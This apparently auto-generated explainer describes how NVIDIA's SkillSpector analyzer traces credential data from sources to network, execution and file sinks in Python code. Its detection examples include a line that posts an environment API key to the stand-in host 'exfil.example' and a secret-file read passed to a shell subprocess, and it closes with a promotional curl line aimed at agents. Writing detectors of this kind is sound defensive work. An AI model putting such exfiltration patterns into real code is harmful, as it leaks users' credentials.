How Taint Tracking in SkillSpector Detects Credential Exfiltration Chains
SkillSpector implements a behavioral taint-tracking analyzer that traces data flows from credential sources to exfiltration sinks by building a data-flow graph from Python ASTs and reporting chains that match credential-exfiltration patterns.
NVIDIA's SkillSpector scans Python source files to identify security vulnerabilities through static analysis. The taint tracking mechanism specifically targets credential exfiltration chains by monitoring how sensitive data propagates from origin points to dangerous destination functions. This analysis operates on the abstract syntax tree level to detect both direct flows and indirect contamination paths before code execution.
AST Parsing and Type Resolution
The analyzer begins by parsing each Python file into an abstract syntax tree and constructing a type map that resolves fully-qualified function names. In src/skillspector/nodes/analyzers/behavioral_taint_tracking.py, the implementation uses:
tree = ast.parse(content, filename=file_path) # L95-L96
type_map = build_type_map(tree) # L100
This type resolution enables the analyzer to identify specific function calls even when imported with aliases or accessed through module hierarchies, ensuring accurate source and sink identification across diverse coding patterns.
Defining Sources and Sinks
The detection logic relies on predefined sets of sources (where secrets originate) and sinks (where data can be leaked). According to the NVIDIA/SkillSpector source code, the analyzer declares these as frozen sets at the module level:
- Credential sources:
os.environ.get,os.environ,os.getenv(L44-L49) - File read sources:
open,pathlib.Path.read_text,pathlib.Path.read_bytes(L52-L57) - Network input sources: Socket reads and HTTP request input methods (L60-L76)
- Network output sinks: Functions transmitting data over networks (L91-L106)
- Execution sinks:
subprocess.run,exec,eval, and similar code execution vectors (L108-L121) - File write sinks: Functions persisting data to disk (L123-L131)
Source Detection and Taint Assignment
When the analyzer encounters an Assign node, it inspects the right-hand side for source calls using _find_source_in_expr. If a source is detected, the left-hand side variables are marked as tainted with metadata tracking the source name and line number:
src_name = _find_source_in_expr(ast_node.value, type_map) # L32-L33
_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno) # L48-L49
This establishes the starting points for tracking potential credential exfiltration throughout the program's data flow.
Taint Propagation Mechanisms
The analyzer propagates taint through two primary mechanisms. Direct propagation occurs when a variable is assigned from a tainted variable using _find_tainted_in_expr (L43-L44). Container propagation walks through complex literals—including dictionaries, lists, tuples, and f-strings—to mark any new variable that incorporates tainted values as contaminated, ensuring comprehensive coverage of data movement.
Detecting Exfiltration at Sink Call Sites
For each Call node, the analyzer checks if the callee matches a known sink by resolving the call name via resolve_call_name_typed (L55-L56). It then performs dual detection:
- Nested source detection: Identifies source calls passed directly to sink arguments using
_find_nested_sources(L65-L68) - Tainted variable detection: Finds variables marked as tainted that reach the sink via
_find_tainted_names_in_args(L78-L82)
For each discovered source-to-sink pair, the analyzer selects a rule identifier using _pick_rule that distinguishes direct flows from indirect contamination.
Rule Selection and Severity Mapping
The _pick_rule function maps source-sink combinations to specific rule IDs (TT1 through TT5) that encode severity. For example, when a credential source reaches a network output sink, the analyzer assigns rule TT3 (L80-L82):
if source_name in _CREDENTIAL_SOURCES and sink_name in _NETWORK_OUTPUT_SINKS:
return "TT3" # L80-L82
Severity and confidence levels for each rule are stored in _RULE_SEVERITIES and _RULE_CONFIDENCES, enabling risk-based prioritization of findings.
Reporting and Pipeline Integration
Each detected flow generates an AnalyzerFinding containing the rule ID, human-readable message, severity rating, confidence level, source location, and code snippet (L16-L26). The pipeline aggregates these across all analyzed files, logging the total count per analysis run (L108-L109).
The node function iterates over Python components, skips files exceeding MAX_FILE_BYTES, and runs the analysis only on eligible files (L99-L100, L105-L106).
Practical Examples of Detection
The following patterns trigger credential exfiltration alerts in SkillSpector:
Direct credential flow to network output (Rule TT3):
import os, requests
api_key = os.getenv("API_KEY") # source: credential
requests.post("https://exfil.example", json={"key": api_key}) # sink: network output
Indirect file-read secret passed to execution context (Rule TT5):
import subprocess, pathlib
secret = pathlib.Path("secret.txt").read_text() # source: file read
cmd = f"echo {secret}"
subprocess.run(cmd, shell=True) # sink: exec
When analyzing these files, SkillSpector reports the direct flow from os.getenv to requests.post and the tainted flow from pathlib.Path.read_text to subprocess.run.
Key Implementation Files
The taint-tracking system spans several files in the NVIDIA/SkillSpector repository:
| File | Purpose |
|---|---|
src/skillspector/nodes/analyzers/behavioral_taint_tracking.py |
Core implementation containing source/sink definitions, propagation logic, and rule selection |
src/skillspector/nodes/analyzers/static_runner.py |
Utility functions for converting analyzer results to generic findings and enforcing file size limits |
src/skillspector/nodes/analyzers/common.py |
Type map construction, call name resolution, and source extraction utilities |
src/skillspector/graph.py |
Pipeline orchestration for node execution |
src/skillspector/models.py |
Data structures including AnalyzerFinding, Severity, and Location |
Summary
- SkillSpector uses behavioral taint tracking to build data-flow graphs from Python ASTs, tracing sensitive data from sources to sinks.
- The analyzer categorizes sources (environment variables, file reads, user input) and sinks (network output, code execution, file writes) to identify exfiltration vectors.
- Taint propagation tracks both direct assignments and container literals, ensuring comprehensive coverage of data movement.
- Rule IDs (
TT1-TT5) classify flows by severity, with credential-to-network flows typically triggering high-severityTT3alerts. - The system processes files under
MAX_FILE_BYTESlimits, generating structuredAnalyzerFindingobjects for each detected chain.
Frequently Asked Questions
How does SkillSpector define taint sources?
In behavioral_taint_tracking.py, sources are defined as frozen sets of fully-qualified function names. Credential sources include os.environ.get, os.environ, and os.getenv, while file and network input sources cover open, pathlib.Path.read_text, and various socket input methods. The analyzer resolves these names using a type map built from the AST to handle imports and aliases correctly.
What is the difference between direct and indirect taint flows?
Direct flows occur when a source function call is passed immediately as an argument to a sink function, detected via _find_nested_sources. Indirect flows (tainted flows) occur when data from a source is first stored in a variable, which then propagates through assignments or container constructions before reaching a sink, detected via _find_tainted_names_in_args. The _pick_rule function distinguishes these cases to assign appropriate rule IDs and severity levels.
Which rule IDs indicate high-severity credential exfiltration?
Rule TT3 triggers when credential sources flow to network output sinks, representing immediate exfiltration risk. Rule TT5 covers file-read sources reaching execution sinks, also indicating high severity. The specific severity mappings are stored in _RULE_SEVERITIES within the analyzer implementation, allowing the system to prioritize the most dangerous credential-exfiltration chains.
How does SkillSpector handle large Python files during analysis?
The analyzer enforces a configurable MAX_FILE_BYTES limit in the pipeline. Files exceeding this size are skipped to prevent performance degradation. The node function iterates over Python components, checks file sizes against this limit, and only runs the full taint analysis on files within the specified boundaries.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →